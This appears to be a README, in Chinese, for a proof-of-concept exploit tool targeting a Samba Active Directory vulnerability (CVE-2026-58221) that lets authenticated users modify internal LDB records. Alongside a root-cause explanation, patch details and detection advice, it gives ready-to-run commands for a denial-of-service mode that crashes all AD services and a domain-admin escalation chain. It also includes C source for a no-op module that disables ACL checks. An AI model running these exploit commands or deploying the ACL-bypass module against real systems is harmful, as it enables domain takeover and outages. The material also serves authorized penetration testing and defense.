CVSS 8.8(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
任何经过身份验证的域用户都可以通过 LDAP 修改 Samba 内部的 LDB 特殊记录(@MODULES、@PARTITION、@SAMBA_DSDB),从而导致拒绝服务(使所有 AD 服务崩溃)或域管理员权限提升(在具备本地文件系统访问权限的情况下)。
| 状态 | 版本 |
|---|---|
| 存在漏洞 | Samba AD DC >= 4.0.0(补丁之前的所有版本) |
| 已修复 | 4.22.11、4.23.x、4.24.x |
安全公告: https://www.samba.org/samba/security/CVE-2026-58221.html
两个缺陷共同作用,绕过了 Samba 内部 LDB 记录上的所有访问控制:
rootdse_filter_operations() — 身份验证检查不充分在 source4/dsdb/samdb/ldb_modules/rootdse.c 中,rootdse_filter_operations() 函数是 LDAP 请求链中的第一个过滤器。它仅拦截匿名调用者——任何经过身份验证的用户都能通过,无论其权限如何:
// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// Only blocks anonymous — all authenticated users pass through
if (session_info->security_token == anonymous_token) {
return LDB_ERR_OPERATIONS_ERROR;
}
return ldb_next_request(module, req); // → passes to ACL module
}
acl.c — 特殊 DN ACL 绕过在 source4/dsdb/samdb/ldb_modules/acl.c 中,ACL 模块对 LDB 特殊 DN(以 @ 开头的那些)跳过所有权限检查,假定只有受信任的内部操作才会访问它们:
// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
return ldb_next_request(module, req); // NO permission check!
}
组合效果: 一个已认证的低权限域用户发送针对 @MODULES 的 LDAP 修改请求。该请求通过 rootdse_filter_operations()(非匿名),到达 acl.c,后者识别出特殊 DN 并跳过所有 ACL 检查——修改成功。
该修复在 rootdse_filter_operations() 中、请求到达 ACL 模块之前,添加了 ldb_dn_is_special() 检查:
// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// NEW: Block all operations on special DNs from external connections
if (ldb_dn_is_special(req->op.*.message->dn)) {
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
return LDB_ERR_OPERATIONS_ERROR;
}
// ... rest of function
}
LDB 是 Samba 的内部数据库(sam.ldb),相当于 Windows 的 NTDS.dit。它存储所有 Active Directory 对象,并使用模块链架构来处理请求。
samba_dsdb 元模块samba_dsdb 是初始化整个 Samba 模块链(约 30 个模块)的唯一入口点。它:
samba_dsdb.c 中读取硬编码的模块列表(modules_list1、modules_list1a、tdb_modules_list、modules_list2)forced_module_msg 不透明数据——这会覆盖数据库中存储的任何 @PARTITION/modules 值这就是为什么单个模块无法独立加载——在没有 samba_dsdb 提供的上下文时,它们会以 Protocol error (2) 崩溃。这也是为什么修改数据库中的 @PARTITION/modules 对正在运行的模块链没有效果。
| DN | 用途 | 修改影响 |
|---|---|---|
@MODULES/@LIST | 控制 Samba 每个连接加载哪些模块 | 崩溃(如果从 samba_dsdb 更改) |
@PARTITION | 分区配置和每个分区的模块 | 被忽略(被 forced_module_msg 覆盖) |
@SAMBA_DSDB | 内部 samba_dsdb 配置 | 崩溃 |
safe-write(非破坏性)✅将相同的值(@LIST: samba_dsdb)写回 @MODULES。在不影响任何服务的情况下证明写入访问权限。推荐用于渗透测试。
python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write
dos(破坏性)⚠️将 @MODULES/@LIST 替换为各个模块名称(排除 acl/aclread)。在下次连接时,模块在没有 samba_dsdb 上下文的情况下无法初始化 → 所有 AD 服务崩溃(LDAP、SMB、Kerberos、DNS)。
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force
影响: AD 完全中断。恢复需要本地控制台访问。所有域身份验证停止。
escalate(域管理员 — 需要本地访问)🔴实现域管理员的完整利用链:
@MODULES 可通过 LDAP 写入(远程)acl.so / aclread.so 为空操作版本(本地)python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=user,CN=Users,DC=domain,DC=local'
空操作 ACL 模块源码:
#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
.name="acl", .add=noop, .modify=noop,
.del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
return ldb_register_module(&ops);
}
| 模式 | 影响 | 所需条件 |
|---|---|---|
--check | 无(安全) | LDAPS + 域凭据 |
--assess | 无(分析) | LDAPS + 域凭据 |
--exploit --method safe-write | 无(证明可写入) | LDAPS + 域凭据 |
--exploit --method dos | AD 完全中断 | LDAPS + 域凭据 |
--exploit --method escalate | 域管理员 | LDAPS + 域凭据 + DC 上的 sudo |
--cleanup | 撤销提权 | LDAPS + 域凭据 + DC 上的 sudo |
--fix | 恢复崩溃的 DC | DC 上的本地控制台 |
# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method safe-write
# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method dos --force
# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
# Reverse all changes after escalation
python3 exploit.py --cleanup -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'
# Fix crashed DC (run on the DC itself as root)
python3 exploit.py --fix
ldapsearch、ldapmodify)— apt install ldap-utilsescalate/cleanup:在 DC 上具有 sudo 权限 + gcc、libldb-dev、pkg-config所有模式都会自动生成一个 cve-2026-58221-evidence.json 文件,其中包含每个步骤的带时间戳条目,适合纳入渗透测试报告。
--check 模式 — 应返回 "NOT VULNERABLE"CVE-2026-58221-ATTACK 条目(由补丁添加)补丁(4.22.11+)会记录被阻止的尝试:
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...))
在未打补丁的系统上,监控针对以 @ 开头的 DN 的 LDAP 修改操作。
为了安全地测试此 PoC,请在隔离环境中部署一个 Samba AD DC:
# Debian 12 / Ubuntu 22.04+
apt install samba smbclient winbind krb5-user ldap-utils
# Provision domain
samba-tool domain provision \
--realm=LAB.LOCAL --domain=LAB \
--server-role=dc --dns-backend=SAMBA_INTERNAL \
--adminpass='YourAdminPass!'
# Configure LDAPS
# (TLS certs are auto-generated in /var/lib/samba/private/tls/)
# Add to /etc/samba/smb.conf [global]:
# tls enabled = yes
# tls keyfile = /var/lib/samba/private/tls/key.pem
# tls certfile = /var/lib/samba/private/tls/cert.pem
# tls cafile = /var/lib/samba/private/tls/ca.pem
# ldap server require strong auth = allow_sasl_over_tls
systemctl start samba-ad-dc
# Create test user
samba-tool user create testuser 'TestP@ss123!'
本工具仅供授权的安全测试与研究使用。请仅在您拥有或已获得明确书面许可进行测试的系统上使用本工具。未经授权访问计算机系统属于违法行为。作者不对本工具的任何滥用行为承担责任。
Ali El Boury
MIT 许可证 — 参见 LICENSE